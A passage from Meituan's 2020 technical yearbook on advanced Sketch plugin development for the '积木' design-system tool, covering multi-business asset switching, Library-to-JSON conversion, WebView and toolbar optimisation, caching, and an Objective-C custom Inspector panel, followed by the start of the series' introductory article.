美团到家事业部大部分设计同学，未来我们会持续推进积木插件的平台化建设，不断

完善功能，期望能将积木插件打造成业界一流的品牌。

3.	Sketch 插件开发进阶

第一篇文章可能是为数不多的入门教程，而本篇可能是你能找到的唯一一篇进阶开

发文章。进阶开发主要涉及如何切换业务方数据，即选择所属业务方后，对应的组

件、颜色等设计素材切换为当前业务方在物料市场中上传的元素；将承载组件库的
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Library 文件转化为插件可以识别的格式，并在插件上展示，以供设计师在绘制设计

稿时选择使用；一些优化运行效率，提升用户体验的方法。

Sketch 插件代码由于和业务强相关，且实现方式较为复杂，可能存在部分敏感信息，

所以基本没有成熟的插件开源。在进行一些复杂功能开发时，我们也常常“丈二和尚

摸不到头脑”，“要不这个功能算了吧”的想法也不止一次出现，可是每当开会看到旁

边的设计同学在使用“积木”插件认真作图时，又一次次坚定了我们的信念，要不加

班再试试吧，没准就能实现了呢？一次“委曲求全”，后面可能导致整个项目慢慢崩

塌，所以我们一直以将积木插件打造成为业界领先的插件为信念。如果说看过了第一

篇文章你已经知道了如何开发一款插件，那么通过本篇文章的学习你就可以真正实现

一款可以与业务强关联且功能可定制的成熟工具，与其说是介绍如何开发一个进阶版

的 Sketch 插件，不如说是分享给大家完成一个商业化项目的经验。
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支持多业务切换

为了当面对“我们可以接入积木插件吗”这种灵魂拷问时不再手足无措，平台化进程

迅速启动。平台化的核心其实就是当发生业务线变更时，物料市场中的素材整体同步

切换，因此我们需要进行如下几个操作：首先建立全局变量，存储当前用户所述业务

方信息及鉴权信息；用户选择功能模块后，根据用户所述业务方，拉取对应素材；处

理 Library 等素材并渲染页面展示；根据素材信息变更画板中的相关 Layer。这部分

主要介绍如何依靠持久化存储来实现业务切换的功能，就像在第一篇启蒙文档中说的

那样，这里不会贴大段的代码，只会帮你梳理最核心的流程，相信你亲自实践一次之

后，以后的困难都可以轻松解决。

1.	定义通用变量

功能模块展示的素材与当前选择的业务相关，因此需要在每个功能模块的 Redux 初

始化状态中增加一些全局状态变量。比如所有模块都需要使用 businessType 来确定

当前选择的业务，使用 theme 进行主题切换，使用 commonRequestParams 获取

用户鉴权信息等。

export const ACTION_TYPE = 'roo/colorData/index';
const intialState = {
  id: 'color',
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  title: '颜色库 ',
  theme: 'black',
  businessType: 'waimai-c',
  commonRequestParams: {
    userInfo: '',
  },
};
export default reducerCreator(intialState, ACTION_TYPE);

2.	实现数据交换

第一步：WebView 侧获取用户选择，将所选的业务方数据通过 window.postMes-

sage 方法传递至插件侧。

window.postMessage('onBusinessSelected', item);

第二步：Plugin 侧通过 webViewContents.on( ) 方法接收从 WebView 侧传递过来

的数据。Sketch 官方通过 Settings API 提供了一些类的方法来处理用户的参数设

置，这些设置在 Sketch 关闭后依然会保存，除了存储一段 JSON 数据外，Layer、

Document 甚至是 Session variable 都是支持的。

 webViewContents.on('onBusinessSelected', item => {
    Settings.setSettingForKey('onBusinessSelected', JSON.
stringify(item));
  });
 
// 除此之外，插件侧也可以通过 localStorage向 WebView注入数据
browserWindow.webContents.executeJavaScript(
      `localStorage.setItem("${key}",'${data}')`
);

第三步：当用户通过工具栏选择某一功能模块（例如“插画库”）时，会回调 NS-

Button 的点击事件监听，此时除了需要要让 WebView 展示（Show）以及获取焦点

（Focus）外，还需要将第二步存储的业务方信息传入，并以此加载当前业务方的物料

数据。

//用户打开的功能模块
const button = NSButton.alloc().initWithFrame(rect) 
  button.setCOSJSTargetFunction(() => {
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    initWebviewData(browserWindow);
    browserWindow.focus();
    browserWindow.show();
  });
 
// 注入全局初始化信息
function initWebviewData(browserWindow) {
  const businessItem = Settings.settingForKey('onBusinessSelected');
  browserWindow.webContents.
executeJavaScript(`initBusinessData(${businessItem})`);
}

WebView 侧功能模块收到初始化信息，开始进行页面渲染前的数据准备。Object.

keys() 方法会返回一个由给定对象的自身可枚举属性组成的数组，遍历这个数组即

可拿到所有被注入的初始化数据，之后通过 redux 的 store.dispatch 方法更新 state

即可。至此实现业务切换功能的流程就全部结束了，是不是觉得非常简单，忍不住想

亲自动手试一下呢？

ReactDOM.render(<Provider store={store}><App /></Provider>,
  document.getElementById('root')
);
 
window.initBusinessData = data => {
  const businessItem = {};
  Object.keys(data).forEach(key => {
    businessItem[key] = { $set: initialData[key] };
  });
  store.dispatch(update(businessItem));
};
 
const update = payload => ({
  type: ACTION_TYPE,
  payload,
});

3.	小结

有小伙伴会问，为什么 WebView 与 Plugin 侧需要数据传递呢，它们不都属于插件

的一部分么？根本原因是我们的界面是通过 WebView 展示的，但是对 Layer 的各

种操作是通过 Sketch 的 API 实现的，WebView 只是一个网页，本身与 Sketch 并



178　>　美团 2020 技术年货

无关系，因此必须使用 bridge 在两者之间进行数据传递。别担心，这里再带你把整

个流程梳理一遍：①在插件启动后会从服务端拉取业务方列表；②用户在 WebView

中选择自己所属的业务方；③将业务方数据通过 bridge 传递至 Plugin 侧，并通过

Sketch 的 Settings API 进行持久化存储，这样就可以保证每次启动 Sketch 的时候

无需再次选择所属业务方；④用户点击插件工具栏的按钮选择所需功能（例如色板库、

组件库等），从持久化数据中读取当前所属业务方，并通知 WebView 侧拉取当前业

务方数据。至此，整个流程结束。

Library 库文件自动化处理

这部分将介绍如何将 Library 库文件转化为插件可以识别的 JSON 格式，并在插件上

展示。

如果要问 Sketch 插件最重要的功能是什么，组件库绝对是无可争议的 C 位。在长期
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的版本迭代中，随着功能的不断增加以及 UI 的持续改版，新旧样式混杂，维护极为

困难。设计师通过将页面走查结果归纳梳理，制定设计规范，从而选取复用性高的组

件进行组件库搭建。通过搭建组件库可以进行规范控制，避免控件的随意组合，减少

页面差异；组件库中组件满足业务特色，同时具有云端动态调整能力，可以在规范更

新时进行统一调整。

目前，我们将组件集成进 Sketch 供 UI 使用大致分为两个流派：一个是基于 Sketch

官方的 Library 库文件，设计师通过将业务中复用性高的 Symbol 组件归纳整理生成

库文件（后缀 .sketch），并上传至云端，插件拉取库文件转化为 JSON 并在操作面板

展示供选取使用；另一个则是采用类似 Airbnb 开源的 React-Sketchapp 这样的框

架，它可以让你使用 React 代码来制作和管理视觉稿及相关设计资源，官方把它称

作“用代码来绘画”，这种方案的实施难度较大，因为本质上设计是感性和理性的结

合，设计师使用 Sketch 是画，而非带有逻辑和层级关系的写，他们对于页面的树形

结构很难理解，上手成本较高，而且代码维护成本相对较大。我们不去评价哪种方案

的好坏，只是第一种方案可以更好地满足我们的核心诉求。

Sketch 组件库处理效果示意

https://github.com/airbnb/react-sketchapp
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1.	订阅远程组件库

Library 库 文 件 实 际 上 是 一 个 包 含 components 的 文 档，components 包 括 了

Symbols、Text Styles 以及 Layer Styles 三类，将 Library 存储在云端就可以在不

同文档甚至不同团队间共享这些 components。由于组件库实时指向最新，因此当

其维护者更新库中的 components 时，使用了这些 components 的文档将会收到通

知，这可以保证设计稿永远指向最新的设计规范。

订阅云端组件库的方式很简单，首先创建一个云端组件库，具体可以参照上一篇文

章，如果需要服务多个设计部门，则需要创建多个库，每个库有唯一的 RSS 地址；

在插件中获取到这些 RSS 地址后，可以通过 Library.getRemoteLibraryWithRSS

方法对其进行订阅。

// 启动插件时添加远程组件库
export const addRemoteLibrary = context => {
  fetch(LibraryListURL, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
    },
  })
    .then(res => res.json())
    .then(response => response.data)
    .then(json => {
      const { remoteLibraryList } = json;
      _.forEach(remoteLibraryList, fileName => {
        Library.getRemoteLibraryWithRSS(fileName, (err, library) => {
        });
      });
      return list;
    });
};

2.	Library 库文件转换 JSON数据

将 Sketch 的 Library 文件转换为 JSON 的过程，实际上就是转换为 WebView 可以

识别格式的过程。因为积木插件是将组件按照一定分组展示在面板中供设计师选取，

因此需要根据组件分类组织其结构。Sketch 原生支持采用 “/” 符号对其进行分组：

https://tech.meituan.com/2020/05/21/waimai-sketch-plugin.html
https://tech.meituan.com/2020/05/21/waimai-sketch-plugin.html
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Group-name/Symbol-name，比如命名为 Button/Normal 和 Button/Pressed 的

两个 Symbols 会成为 Button Group 的一部分。

Symbol 分组结构

实际中可以根据业务需要采用三级以上分组命名的方式，通过 split 方法将 Symbol

名称通过 “/” 符号拆分为数组，第一级名称、第二级名称等各级名称作为 JSON 结构

的不同层级即可，具体操作可以参照如下示例代码：

 const document = library.getDocument();
    const symbols = [];
    _.forEach(document.pages, page => {
      _.forEach(page.layers, l => {
        if (l.type && l.type === 'SymbolMaster') {
          symbols.push(l);
        }
      });
    });
 
 // 对 symbol进行分组处理，并生成 json数据
 for (let i = 0; i < symbols.length; i++) {
      const name = symbols[i].name;
      const subNames = name.split('/');
      // 去掉所有空格
      const groupName = subNames[0].replace(/\s/g, '');
      const typeName = subNames[1].replace(/\s/g, '');
      const symbolName = subNames.join('/').replace(/\s/g, '');
      result[groupName] = result[groupName] || {};
      result[groupName][typeName] = result[groupName][typeName] || [];
      result[groupName][typeName].push({
        symbolID:symbolID,
        name: symbolName,
      });
 }
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经过以上操作后，一个简化版的 JSON 文件如下方所示：

{
    "美团外卖 C端组件库 ": {
        "icon": [{
            "symbolID": "E35D2CE8-4276-45A1-972D-E14A06B0CD23",
            "name": "28/问号 "
        },{
            "symbolID": "E57D2CE8-4276-45A1-962D-E14A06B0CD61",
            "name": "27/花朵 "
        }]
    }
}

3.	Symbol 缩略图处理

WebView 默认是不支持直接显示 Symbol 供用户拖拽使用的，解决该问题的方案

有两种：（1）通过 dump 分析 Sketch 的头文件发现，可以采用 MSSymbolPre-

viewGenerator 的 imageForSymbolAncestry 方法导出缩略图，该方法支持图片

大小、颜色空间等多种属性设置，优势是较为灵活，可以根据需要进行任意配置，不

过要承担后期 API 变更的风险；（2）直接采用 sketchDOM 提供的 export 方法，将

Symbol 组件导出为缩略图，之后在 WebView 中显示缩略图，当拖拽缩略图至画板

时，再将其替换为 Library 中对应的 Symbol 即可。

import sketchDOM from 'sketch/dom';
 
sketchDOM.export(symbolMaster, {
     overwriting: true,
     'use-id-for-name': true,
     output: path,
     scales: '1',
     formats: 'png',
     compression: 1,
});

4.	小结

以上就是实现平台化的一个基本流程了，不知道此时你有没有听得“云里雾里”。在

这里，再把核心点带大家复习一下。本节主要讲了两件事情：第一，插件如何才能支
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持多个业务方，即在插件的业务方列表中选择相关业务方，就可以切换对应的设计资

源；第二，如何处理 Library 文件，将其转换为 JSON 供 WebView 展示使用。具体

流程如下：

1. 不同设计组的 UI 同学制作完成包含各种 components 的 Library 后，通过后

台上传至云端。

2. RD 同学根据当前使用者所属的设计团队拉取对应的包括 Library 在内的设计

素材，颜色、图片，iconFont 等设计素材可以直接展示，可是 Library 文件

不支持在 WebView 中直接显示，需要进行处理。

3. 根据和 UI 同学约定组件的命名规则，通过使用“/”分割，将第一级名称、第

二级名称等各级名称作为 JSON 结构的不同层级，再通过 sketchDOM 提供

的 export 方法将 Symbol 转换为 png 格式的缩略图即可在插件中显示。

4. 将选中的缩略图拖拽至 Sketch 的画板时，再将缩略图替换为 Library 中的真

实 Symbol 即可。

Library 库文件处理小结



184　>　美团 2020 技术年货

操作体验优化

完成了上述步骤后，就可以完成一款支持多业务方的插件了。但是随着积木 Sketch

插件接入的业务方越来越多，除了听到可以显著提升效率的褒奖外，对插件的吐槽声

也常常传入我们的耳边。市面上成熟的插件也有很多，我们无法限制别人的选择，所

以只能让积木变得更好用，本节主要介绍插件的优化方法。为了更好地倾听大家意

见，积木插件通过各种措施了解用户的真实想法。首先积木插件接入美团内部的 TT

（Trouble Tracker）系统，相比公司很多专业系统，TT 不带任何专业流程和定制化，

只做纯流转，是一套适用于公司内部的、通用的问题发起、响应和追踪系统，用户反

馈的问题自动创建工单并与对应 RD 关联，Bug 可以最快速修复；插件内部增加反馈

渠道，用户反馈及时发送给相关 PM，作为下次功能排期的权重指标；插件内部增加

多维度埋点统计，从设计渗透到高频使用两个方面了解 UI 同学的核心诉求。以下介

绍了根据反馈整理的部分高优先级问题的解决方案。

1.	操作界面优化

很多 RD 在开发过程中，对界面美化往往嗤之以鼻，“这个功能能用就可以了”常常

被挂在嘴边。难道 UI 的需求真的是中看不中用？一个产品设计师说过，最早的产品

仅依靠功能就可以在竞品中脱颖而出，能不能用就成为了一个产品是否合格的标准。

后来在越来越成熟的互联网环境中，易用性成了一个新的且更重要的标准，这时同类

产品间的功能已经非常接近，无法通过不断堆叠功能产生明显差异。而当同类产品

的易用性也趋于相近时，如何解决产品竞争力的问题就再一次摆在面前，这时就要

赋予产品情感，好的产品关注功能，优秀的产品关注情感，可以让用户在使用中感

受到温暖。

WebView优化

当我们经过了仔细的功能验证，兴致勃勃的把第一版积木插件给用户体验时，本来满

心欢喜准备迎接夸奖，没想到却得到了很多交互体验不好的反馈，“仅仅实现功能就

及格了”这个理论在一像素都不肯放过的设计师眼中肯定行不通。原生 WebView 给
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用户的体验往往不够优秀，其实只要一些很简单的设置就可以解决，但是这并不代表

它不重要。

WebView 视图优化点举例

禁止触摸板拖拽造成页面整体“橡皮筋”效果，禁止用户选择（user-select），溢出隐

藏等操作，使 WebView 具有“类原生”效果，都会提升用户的实际使用体验。

html,
body,
#root {
  height: 100%;
  overflow: hidden;
  user-select: none;
  background: transparent;
  -webkit-user-select: none;
}

除此之外在正式环境中（NODE_ENV 为 production），我们并不希望当前界面响

应右键菜单，需要通过给 document 添加 EventListener 监听将相关事件处理方

法屏蔽。

document.addEventListener('contextmenu', e => {
  if (process.env.NODE_ENV === 'production') {
    e.preventDefault();
  }
});
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工具栏优化

Sketch 对于设计师的意义，就像代码编辑器对于程序员一样，工作中几乎无时无刻

也离不开。在积木 Sketch 插件走出美团外卖，被越来越多的设计团队采用后，为

了让它更加赏心悦目，UI 同学决定对工具条进行一次全新的视觉升级。原生界面

开发指的是通过 macOS 的 AppKit 进行用户界面开发，在插件开发中一些需要嵌

入 Sketch 面板的 UI 模块就需要进行原生界面开发，比如吸附式工具条就属于通过

macOS 原生 API 开发的界面。

原生开发既可以使用 Objective-C 语言，也可以使用 CocoaScript 通过写 JavaS-

cript 的方式进行开发。CocoaScript 通过 Mocha 实现 JS 到 Objective-C 的映射，

可以让我们通过 JS 调用 Sketch 内部 API 以及 macOS 的 Framework。在通过

CocoaScript 原生开发前需要了解一些基础知识：

1. 在使用相关框架前需要通过 framework() 方法进行引入，而 Foundation 以

及 CoreGraphics 是默认内置的，无需再单独操作。

2. 一些 Objective-C 的 selectors 选择器需要指针参数，由于 JavaScript 不

支持通过引用传递对象，因此 CocoaScript 提供了 MOPointer 作为变量引

用的代理对象。

UI 调整一般分为三个部分：布局调整、动效调整、图片替换。下面的章节会进行逐一

介绍。
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新版积木工具栏效果图

布局调整

这里 UI 的需求是 NSButton 的宽度填充满整个 NSStackView，高度自定义。由于

此功能看起来过于简单，当时认为估时 0.5 天绰绰有余，可是没想到搭进去了 1 个工

作日加上 2 天周末的时间，因为无论如何设置 NSStackView 中子 View 尺寸都无法

生效。

在顶住了周围人“UI 问题不影响功能使用，以后有时间再优化吧”的“舆论压

力”后，终于在官方文档里面发现了线索：“NSStackView A stack view employs 

Auto Layout (the system’s constraint-based layout feature) to arrange and 

align an array of views according to your specification. To use a stack view 

effectively, you need to understand the basics of Auto Layout constraints as 

described in Auto Layout Guide.”简而言之，NSStackView 使用 constraints 的

方式进行自动布局（可以类比 Android 中的 ConstraintLayout），在进行尺寸修改

时，是需要添加锚点的，因此需要通过 Anchor 的方式进行尺寸修改。

// 创建工具条
const toolbar = NSStackView.alloc().initWithFrame(NSMakeRect(0, 0, 45, 
400));
toolbar.setSpacing(7);
// 创建 NSButton
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const button = NSButton.alloc().initWithFrame(rect)
// 设置 NSButton宽高
button
    .widthAnchor()
    .constraintEqualToConstant(rect.size.width)
    .setActive(1);
button
    .heightAnchor()
    .constraintEqualToConstant(rect.size.height)
    .setActive(1);
button.setBordered(false);
// 设置回调点击事件
button.setCOSJSTargetFunction(onClickListener);
button.setAction('onClickListener:');
// 添加 NSButton至 NSStackView中
toolbar.addView_inGravity(button, inGravityType);

动效调整

NSButton 内置的点击效果大约 15 种，可以通过 NSBezelStyle 进行设置。积木插件

工具栏并没有采用点击后 icon 反色的通用处理方式，而是点击后将背景色置为浅灰。

如果想要自定义一些点击效果，只需在 NSButton 点击事件的回调中设置即可。

onClickListener:sender => {
  const threadDictionary = NSThread.mainThread().threadDictionary();
  const currentButton = threadDictionary[identifier];
   if (currentButton.state() === NSOnState) {
      currentButton.setBackgroundColor(NSColor.colorWithHex('#E3E3E3'));
   } else {
      currentButton.setBackgroundColor(NSColor.windowBackgroundColor());
   }
}

图片加载

Sketch 插件既支持加载本地图片，也支持加载网络图片。加载本地图片时，可以通

过 context.plugin 的方法获取一个 MSPluginBundle 对象，即当前插件 bundle 文

件，它的 url() 方法会返回当前插件的路径信息，进而帮助我们找到存储在插件中的

本地文件；而加载网络图片则更加简单，通过 NSURL.URLWithString( ) 可以获得

一个使用图片网址初始化得到的 NSURL 对象，这里要格外注意的是，对于网络图片

请使用 https 域名。
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//本地图片加载
const localImageUrl = 
       context.plugin.url()
      .URLByAppendingPathComponent('Contents')
      .URLByAppendingPathComponent('Resources')
      .URLByAppendingPathComponent(`${imageurl}.png`);
 
//网络图片加载
const remoteImageUrl = NSURL.URLWithString(imageUrl);
 
//根据 ImageUrl获取 NSImage对象
const nsImage = NSImage.alloc().initWithContentsOfURL(imageURL);
nsImage.setSize(size);
nsImage.setScalesWhenResized(true);

2.	执行效率优化

只有在设计稿中尽可能多地使用组件进行设计，并且将已有页面中的内容通过设计师

的走查梳理逐渐替换成组件，才能真正通过建设组件库来进行提效。随着设计团队逐

步将设计语言沉淀为设计规范，并将其量化内置于积木插件中，组件的数量越来越

多，积木插件组件库作为 UI 同学使用最频繁的功能，需要格外关注其运行效率。

前置组件库加载

将组件库的加载逻辑前置，在打开文档时对远程组件库进行订阅操作。Sketch 所提

供的了 Action API 可以使插件对应用程序中的事件做出反应，监听回调只需在插件

的 manifest.json 文件中添加一个 handler 即可，添加了对于“OpenDocument”

的监听，也就是告诉插件在新文档被打开时要去执行 addRemoteLibrary 这个

function。

{
      "script": "./libraryProcessor.js",
      "identifier": "libraryProcessor",
      "handlers": {
        "actions": {
          "OpenDocument": "addRemoteLibrary"
        }
      }
}
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增加缓存逻辑

组件库的处理需要将 Library 文件转换为带有层级信息的 JSON 文件，并且需要

将 Symbol 导出为缩略图显示。由于这个步骤较为耗时，因此可以将经过处理的

Library 信息缓存起来，并通过持久化存储记录已缓存的 Library 版本。若已缓存的

版本与最新版本一致，且缩略图与 JSON 文件均完整，则可以直接使用缓存信息，

极大的提高 Library 的加载速度。以下非完整代码，仅作示例：

verifyLibraryCache(businessType, libraryVersion) {
    const temp = Settings.settingForKey('libraryJsonCache');
    const libraryJsonCache = temp ? JSON.parse(temp) : null;
 
    // 1.验证缓存版本信息
    if (libraryJsonCache.version.businessType !== libraryVersion) {
      return null;
    }
 
    // 2.验证缩略图完整性
    const home = getAssertURL(this.mContext, 'libraryImage');
    const path = join(home, businessType);
    if (!fs.existsSync(path) || !fs.readdirSync(path)) {
      return null;
    }
 
    // 3.验证业务库 Json文件完整性
    if (libraryJsonCache[businessType]) {
      console.info(`当前 ${businessType}命中缓存 `);
      return libraryJsonCache;
    } else {
      return null;
    }
  }
}

3.	自定义 Inspector 属性面板

与Objective-C工程混合开发

随着各个设计组的组件库建设不断完善，抽离的组件数量不断增多，不少 UI 同学反

馈 Sketch 原生组件样式修改面板操作不够便捷，无法约束选择范围，希望可以提供

一种更有效的组件 overrides 修改方式，并且当修改“图片”、“图标”、“文字”等图
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层时，可以和积木插件的这些功能模块进行联动选择。实现自定义 Inspector 面板功

能既可以使操作更便捷，又可以对修改项进行约束。

自定义属性面板功能的基本思想，是将组件从组件库拖至 Sketch 画板中时，组件的

可修改属性可以显示在 Sketch 本身的属性面板上。我们引入了 Objective-C 原生开

发以实现对 Sketch 界面的修改，为什么要使用原生开发？虽然官方提供了 JS API

并承诺持续维护，但这项工作一直处于 Doing 状态，而且官方文档更新缓慢，没有

明确的时间节点，因此对于自定义 Native Inspector Panel 这种需要 Hook API 的

功能，使用原生开发较为便捷，而且对于 iOS 开发者也更加友好，无需再学习前端界

面开发知识。

Sketch Inspector 面板操作区优化

Xcode工程配置

通过 Xcode 工程构建自定义属性面板，最终生成一个可以供 JS 侧调用的 Frame-

work。可以参考上一篇文章介绍的方法创建 Xcode 工程，该工程在每次构建后会自

动生成测试 Sketch 插件并放入对应的文件夹中。需要注意的一点是，这里生成的插

件只是为了方便开发和调试，后面会介绍如何将 XCode 工程构建的 Framework 集
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成至 JS 主工程中。

Xcode 工程配置示意

积木插件的主体功能使用 JS 代码实现，但是自定义属性选择面板使用 Objective-C

代码实现。为了实现积木插件的 JS 侧功能模块与 OC 侧模块之间的通信和桥接，这

里借助了 Mocha 框架来实现相关的功能，Mocha 框架也被 Sketch 官方所使用，将

原生侧的方法封装为官方 API 后暴露给 JS 侧。

Sketch 与插件 Framework 通信原理

组件选中时，Sketch 软件会回调 onSelectionChanged 方法给 JS 侧，JS 侧借助

Mocha 框架可以实现对 OC 侧的调用，同时将参数以 OC 对象的方式传递。JS 侧

传递给 OC 侧的 Context 内容很丰富，包含了选中的组件、相关图层还有 Sketch 软

件本身的信息。虽然 Sketch 没有提供 API，但是 Objective-C 语言本身具备 KVO
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监听对象属性的能力，我们通过读取对应的属性值，就可以获取需要的对象数据。

+ (instancetype)onSelectionChanged:(id)context {
 
    [self setSharedCommand:[context valueForKeyPath:@"command"]]; 
   
    NSString *key = [NSString stringWithFormat:@"%@-
RooSketchPluginNativeUI", [document description]];
    __block RooSketchPluginNativeUI *instance = [[Mocha sharedRuntime] 
valueForKey:key];
 
    NSArray *selection = [context valueForKeyPath:@"actionContext.
document.selectedLayers"];
    [instance onSelectionChange:selection];
    return instance;
}

Sketch 官方没有将属性面板的修改能力暴露给插件侧，通过查询 Sketch 头文件

发现通过 reloadWithViewControllers: 方法可 以 实 现 属 性 面 板 刷 新， 但 是 在 实

际开发过程中发现在某些版本的 Sketch 上会出现面板闪动的问题，这里借助

Objective-C 的 Method Swizzle 特性，直接修改 reloadWithViewControllers: 的

运行时行为解决。

[NSClassFromString(@"MSInspectorStackView") swizzleMethod:@
selector(reloadWithViewControllers:)                                        
withMethod:@selector(roo_reloadWithViewControllers:)                                                        
error:nil];

Swizzle 方法会修改原始方法的行为，实际操作中只有在满足特定条件的情况下才应

触发 Swizzle 后的方法。

https://juejin.im/post/6844903856497754126
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Swizzle 方法触发条件

组件属性修改与替换原理

通过自定义面板可以修改组件的可覆盖项（即 override），目前可以应用可覆盖项的

affectedLayer 有 Text/Image/Symbol Instance 三种。设计师与开发者在此前对

图层的格式进行了约定，保证我们可以按照统一的方式读取并替换图层的属性值。

替换文本

基于 class-dump，我们可以找出 Sketch 中声明的所有类的属性和方法，文本处

理的策略是，找到图层中的所有 MSAvailableOverride 对象，这些对象即表示可

用的覆盖项，对文本信息的修改实际上是通过修改 MSAvailableOverride 对象的

overridePoint 来实现的。

id overridePoint = [availableOverride valueForKeyPath:@"overridePoint"];
[symbolInstance setValue:text forOverridePoint:overridePoint];
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更改样式

样式设置的策略，是找到当前选中组件对应的 Library 中相关样式的组件。由于所

有的组件都遵循统一的命名格式，因此只要根据组件命名就能筛选出符合要求的

组件。

// 命名方式：一级分类 /二级分类 /组件名称，基于图层获取对应 library
id library = [self getLibraryBySymbol:layer];
// 读取组件名称
NSString *layerName = [symbol valueForKeyPath:@"name"];
// 配置符合当前业务的 Predicate
NSPredicate *predicate = [NSPredicate predicateWithFormat:@"name 
BEGINSWITH [cd] %@", prefix];
// 筛选符合 Predicate的所有组件
NSArray *filterResult = [allSybmols 
filteredArrayUsingPredicate:predicate];

当使用者选中某一个样式后，插件会将设计稿上的组件替换为选中的组件，这里需要

使用 MSSymbolInstance 中的 changeInstanceToSymbol 方法来实现。需要注意

的是，changeInstanceToSymbol 仅仅替换了图层中的组件，但是并没有修改图层

上组件的属性，对于位置和大小等信息需要单独进行处理。

// 在更新图层上的组件之前，我们需要把组件导入到当前 document对象中
id foreignSymbol = [libraryController 
importShareableObjectReference:sharedObject intoDocument:documentData];
 
//更新图层上的组件 
[symbolInstance changeInstanceToSymbol:localSymbol];

调试技巧

OC 侧开发的最大问题，在于没有官方 API 的支持。因此调试器就显得非常重要，单

步调试可以让我们非常方便地深入到 Sketch 内部了解 Document 内部的数据结构。

调试环境需要配置，但足够简单，并且对于开发效率的提升是指数级的。

1. 对构建 Scheme 的配置。
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2.Attach 到 Sketch 软件上，这样就可以实现断点调试。

与当前 JS工程混合编译

1. 通过 skpm 中内置的 @skpm/xcodeproj-loader 编译 XCode 工程，并将产物

framework 拷贝至插件文件夹。

const framework = require('../../RooSketchPluginXCodeProject/
RooSketchPluginXCodeProject.xcworkspace/contents.xcworkspacedata');

2. 通 过 Mocha 提 供 的 loadFrameworkWithName_inDirectory 方 法， 设 置

Framework 的名称及路径即可进行加载。
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function() {
    var mocha = Mocha.sharedRuntime();
    var frameworkName = 'RooSketchPluginXCodeProject';
    var directory = frameworkPath;
 
    if (mocha.valueForKey(frameworkName)) {
      console.info('JSloadFramework: `' + frameworkName + '` has 
loaded.');
      return true;
    } else if (mocha.loadFrameworkWithName_inDirectory(frameworkName, 
directory)) {
      console.info('JSloadFramework: `' + frameworkName + '` 
success!');
      mocha.setValue_forKey_(true, frameworkName);
      return true;
    } else {
      console.error('JSloadFramework load failed');
      return false;
    }
  }

3. 调用 framework 中的方法。

// 找到已经被加载的 framework
 const frameworkClass = NSClassFromString('RooSketchPluginNativeUI');
// 调用暴露的方法
frameworkClass.onSelectionChanged(context);

一起拼积木

目前，积木插件已经在美团到家事业部遍地开花，我们希望未来积木品牌产品可以在

更大范围内得到应用，帮助更多团队落地设计规范，提升产研效率，也欢迎更多团队

接入积木工具链。“不忘初心，方得始终”，就像第一篇启蒙文章中说的那样，我们除

了希望制作一流的产品，也希望积木插件可以让大家在繁忙的工作中得以喘息。我们

会继续以设计语言为依托，以积木工具链为抓手，不断完善优化，拓展插件的使用场

景，让设计与开发变得更轻松。

总有人在问，积木插件现在好用吗？我想说，还不够好用。但是每次评审需求时看到

旁边的设计师在认真地使用我们的插件作图，看到积木插件爱好者为我们制作表情包

帮助我们推广，我们深知唯有交付最棒的产品，才能不辜负大家的期待。
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平台化二期的需求刚刚确定完毕，人力分配排期结束，我们又想了一大波令你拍手称

赞的功能，马上就要踏上新的征程。夜深了，看着窗外人家的灯，一个个熄灭，夜空

也变得越来越明亮。我们的目标，是星辰大海。

使用积木插件插画库制作的表情包 Design by 雪美
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积木Sketch	Plugin：设计同学的贴心搭档

作者：韩洋　昱翰　云鹏　沛东

| A consistent experience is a better experience.——Mark Eberman | 

一致的体验是更好的体验。——Mark Eberman 《摘自设计师的 16 句名言》

背景

1.UI 一致性项目

积木（Tangram）Sketch 插件源于美团外卖 UI 的一致性项目，该项目自 2019 年 5

月份被提出，是 UI 设计团队与研发团队共建的项目，目的是改善用户端体验的一致

性，提升多技术方案间组件的通用性和复用率，整体降低视觉改版的研发成本。

一直以来，外卖业务都处于高速发展阶段，人员规模在不断扩大，项目复杂度在持续

增加。目前平台承载了美团餐饮、商超、闪购、跑腿、药品等多个业务品类，用户入

口也覆盖了美团 App 外卖频道、外卖 App、大众点评等多个独立应用。因为客户端

一直比较侧重业务开发，为了满足业务快速上线的需求，UI 组件并没有统一的实现，

而是分散到各个业务场景中，在开发过程中因 UI 缺乏同一的标准而导致以下问题不

断凸显：

UI/UE层面

① UI 缺乏标准化的设计规范，在不同 App 及不同语言平台上设计风格不统一，用户

体验不一致。

② 设计资源与代码均缺乏统一的管理手段，无法实现积累沉淀，无法适应新业务的开

发需求。
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RD层面

① 组件代码实现碎片化，存在多次开发的情况，质量难以得到保证。

② 各端代码 API 不统一，维护拓展成本较高，变更主题、适配 Dark Mode 等需求

难以实现。

QA层面

重复走查，频繁回归，每次发版均需验证组件质量。

PM层面

版本迭代效率低，版本需求吞吐量低，不能满足业务的快速拓展能力。

基于上述开发工作中的切实痛点，以及未来可预见的对客户端能力的开发需求，我们

迫切需要一套统一的 UI 设计规范，以此沉淀出设计风格，建立统一的 UI 设计标准，

从而抽离成熟的业务场景，提供高质量、可扩展、可统一配置的同时能基于 Android/

iOS/MRN/Mach 组件开发的代码库，且具备支持多业务高层次的代码复用能力，提

高 UI 业务的中台能力，使项目具有高度一致性。

我们通过积木 Sketch 插件来落地设计规范，可以保证设计元素均从既定设计标准中

获取，产出符合业务设计语言的设计稿，而各平台 UI 组件库中也有对应实现，从而

使积木插件成为 UI 一致性的抓手，最终可以减少开发成本，提升交付质量，服务好

我们美团的多个业务团队。
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外卖 UI 一致性项目

2.	Sketch	&	Sketch	Plugin

要想保持 UI 一致性，就不能打破规则。从设计阶段颜色的选择、字体的规范、控件

的样式到 RD 开发阶段代码的统一管理、API 的制定、多端的实现方式，都必须遵守

一套规则，而 Sketch Plugin 建设则是让规范落地执行的解决方案。

在讨论其重要性之前，我们首先简单介绍一下 Sketch：Sketch 是一个设计工具包，

由总部位于荷兰海牙的 BohemianCoding 团队开发，该团队成员目前不足百人，来

自全球多个国家，通过互联网远程协作开发，属于典型的高效开发团队。

Sketch 容易理解且上手简单；可与团队中的每个人创建、更新和共享所有 Symbol

组件，实现设计资源的共享和版本管理，从此告别“final-final-final-1”；其版本迭

代速度非常快，且能不断添加新功能，满足用户的需求，更符合互联网时代；Sketch

可以使用真实数据进行设计。目前，我们设计团队已经全面使用 Sketch 进行设计。

设计语言包括 Iconfont、色板、文字规范、话术、插画、动画、组件等。其实它并

不是一个抽象的概念，比如大家提到“美团”就会想起“美团黄”，想到可爱的“袋

鼠”，想到那些骑着摩托车、穿着印有“美团外卖”亮黄色衣服的骑手小哥。通过设
